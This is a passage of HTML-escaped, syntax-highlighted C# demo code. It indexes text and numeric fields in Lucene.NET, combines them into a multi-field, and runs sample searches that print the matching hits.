&lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;text_content&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;text_content&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Store&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;YES&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ANALYZED&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;id_field&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;numeric_content&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;numeric_content&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Store&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;YES&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ANALYZED&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;text_content_field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;id_field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 43&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 44&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 45&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// special sauce&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 46&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 47&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;combined_field&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 48&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MultiField&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;combined&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 49&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Fieldable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;text_content_field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;id_field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;},&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 50&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;perField&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 51&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 52&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 53&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;combined_field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 54&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 55&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;writer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AddDocument&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 56&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;writer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Optimize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 57&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;writer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 58&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 59&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 60&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// test searching against our combined field...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 61&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 62&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Searcher&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IndexSearcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;directory&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 63&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 64&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// hits on first field&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 65&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;SearchCombined&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;number&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 66&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 67&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// hits on first field&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 68&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;SearchCombined&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;123&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 69&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 70&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// hits on second field&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 71&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;SearchCombined&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;789&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 72&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 73&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// does not hit on second field because numeric analyzer skips that content.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 74&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;SearchCombined&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;normal&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 75&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 76&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReadKey&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 77&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 78&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 79&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SearchCombined&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Searcher&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;queryString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 80&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 81&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// Build a Query object&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 82&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;QueryParser&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;parser&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;QueryParser&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;combined&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StandardAnalyzer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;());&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 83&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Query&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;query&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;parser&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Parse&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;queryString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 84&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 85&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// Search for the query&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 86&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Hits&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;hits&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Search&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;query&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 87&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 88&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;c1&#34;&gt;// Examine the Hits object to see if there were any matches&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 89&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;hitCount&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;hits&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 90&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;hitCount&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 91&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;              &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;No matches were found for \&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;queryString&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;\&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 92&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 93&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;          &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 94&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;              &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Hits for \&amp;#34;&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;queryString&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;\&amp;#34; were found in quotes by:&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 95&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 96&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;              &lt;span class=&#34;c1&#34;&gt;// Iterate over the Documents in the Hits object&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 97&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;              &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;hitCount&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;++)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 98&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                  &lt;span class=&#34;n&#34;&gt;Document&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;doc&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;hits&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Doc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 99&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                  &lt;span class=&#34;c1&#34;&gt;// Print the value that we stored in the &amp;#34;title&amp;#34; field. Note&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;101&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                  &lt;span class=&#34;c1&#34;&gt;// that this Field was not indexed, but (unlike the&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;102&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                  &lt;span class=&#34;c1&#34;&gt;// &amp;#34;contents&amp;#34; field) was stored verbatim and can be&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;103&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                  &lt;span class=&#34;c1&#34;&gt;// retrieved.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;104&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                  &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;  